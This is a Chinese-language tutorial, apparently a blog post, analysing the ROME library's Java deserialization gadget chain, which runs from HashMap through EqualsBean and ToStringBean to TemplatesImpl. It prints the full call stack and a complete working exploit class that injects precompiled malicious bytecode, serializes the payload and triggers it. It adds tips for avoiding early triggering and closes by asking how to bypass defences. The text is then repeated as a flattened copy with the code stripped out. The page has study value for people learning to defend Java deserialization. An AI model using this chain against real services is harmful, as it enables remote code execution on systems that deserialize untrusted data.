ROME链试探
字数 939 2025-08-10 23:41:50

ROME反序列化漏洞分析与利用教学文档

1. ROME框架简介

ROME是一个用于处理RSS和Atom订阅的Java框架,基于Apache 2.0许可证开源。主要功能包括:

  • 提供各种联合供稿格式的解析器和生成器
  • 支持不同格式之间的转换
  • 关键可利用类:ToStringBeanEqualsBeanObjectBean

2. 环境搭建

在Maven项目中添加依赖:

<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

3. 漏洞利用链分析

3.1 完整调用栈

getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
toString:137, ToStringBean
toString:116, ToStringBean
beanHashCode:193, EqualsBean
hashCode:176, EqualsBean
hash:338, HashMap
readObject:1397, HashMap
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
invokeReadObject:1058, ObjectStreamClass
readSerialData:1900, ObjectInputStream
readOrdinaryObject:1801, ObjectInputStream
readObject0:1351, ObjectInputStream
readObject:371, ObjectInputStream
unserialize:31, Test2
main:52, Test2

3.2 关键步骤分析

  1. 入口点HashMapreadObject方法

    • HashMap会调用作为key传入的对象的hashCode方法
  2. EqualsBean.hashCode()

    • 调用beanHashCode方法
    • 进而调用_obj对象的toString方法
  3. ToStringBean.toString()

    • 获取_beanClass对象的所有getter和setter方法
    • 通过反射调用pReadMethod.invoke()执行方法
    • 最终触发TemplatesImplgetOutputProperties方法

4. 漏洞利用代码实现

4.1 完整EXP代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROMEExploit {
    
    // 反射设置字段值工具方法
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Class clazz = object.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
    
    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME.bin"));
        oos.writeObject(obj);
    }
    
    // 反序列化方法
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    
    public static void main(String[] args) throws Exception {
        // 1. 准备恶意字节码
        byte[] code = Files.readAllBytes(Paths.get("Exp.class"));
        
        // 2. 初始化TemplatesImpl对象
        TemplatesImpl templates = new TemplatesImpl();
        TemplatesImpl templates1 = new TemplatesImpl();
        setFieldValue(templates, "_name", "aaa");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 3. 构造ToStringBean对象
        ToStringBean toStringBean = new ToStringBean(templates.getClass(), templates1);
        
        // 4. 构造EqualsBean对象
        EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
        
        // 5. 构造HashMap触发点
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "aaa");
        
        // 6. 关键:反射修改ToStringBean的属性
        setFieldValue(toStringBean, "_beanClass", Templates.class);
        setFieldValue(toStringBean, "_obj", templates);
        
        // 7. 序列化payload
        serialize(hashMap);
        
        // 8. 触发反序列化
        unserialize("ROME.bin");
    }
}

4.2 关键注意事项

  1. 避免提前触发调用链

    • 先传入正常数据构造对象
    • 然后通过反射修改关键字段
  2. ToStringBean设置技巧

    • 使用Templates.class而非templates.getClass()
    • 原因:Templates接口只有一个getter方法getOutputProperties,确保精准触发
  3. 恶意字节码准备

    • 需要提前编译好恶意类Exp.class
    • 确保类中包含有效的payload代码

5. 防御建议

  1. 升级ROME框架到最新安全版本
  2. 对反序列化操作进行严格限制
  3. 使用Java安全管理器限制敏感操作
  4. 实施输入验证和过滤

6. 学习要点

  1. 理解Java反序列化漏洞的基本原理
  2. 掌握利用链中各关键类的交互方式
  3. 熟悉反射在漏洞利用中的应用
  4. 注意利用过程中的细节处理(如避免提前触发)

7. 扩展思考

  1. 如何发现类似的利用链?
  2. 除了ROME框架,还有哪些Java库可能存在类似问题?
  3. 如何构建更复杂的利用链绕过防御措施?
ROME反序列化漏洞分析与利用教学文档 1. ROME框架简介 ROME是一个用于处理RSS和Atom订阅的Java框架,基于Apache 2.0许可证开源。主要功能包括: 提供各种联合供稿格式的解析器和生成器 支持不同格式之间的转换 关键可利用类: ToStringBean 、 EqualsBean 、 ObjectBean 2. 环境搭建 在Maven项目中添加依赖: 3. 漏洞利用链分析 3.1 完整调用栈 3.2 关键步骤分析 入口点 : HashMap 的 readObject 方法 HashMap会调用作为key传入的对象的 hashCode 方法 EqualsBean.hashCode() 调用 beanHashCode 方法 进而调用 _obj 对象的 toString 方法 ToStringBean.toString() 获取 _beanClass 对象的所有getter和setter方法 通过反射调用 pReadMethod.invoke() 执行方法 最终触发 TemplatesImpl 的 getOutputProperties 方法 4. 漏洞利用代码实现 4.1 完整EXP代码 4.2 关键注意事项 避免提前触发调用链 : 先传入正常数据构造对象 然后通过反射修改关键字段 ToStringBean设置技巧 : 使用 Templates.class 而非 templates.getClass() 原因: Templates 接口只有一个getter方法 getOutputProperties ,确保精准触发 恶意字节码准备 : 需要提前编译好恶意类 Exp.class 确保类中包含有效的payload代码 5. 防御建议 升级ROME框架到最新安全版本 对反序列化操作进行严格限制 使用Java安全管理器限制敏感操作 实施输入验证和过滤 6. 学习要点 理解Java反序列化漏洞的基本原理 掌握利用链中各关键类的交互方式 熟悉反射在漏洞利用中的应用 注意利用过程中的细节处理(如避免提前触发) 7. 扩展思考 如何发现类似的利用链? 除了ROME框架,还有哪些Java库可能存在类似问题? 如何构建更复杂的利用链绕过防御措施?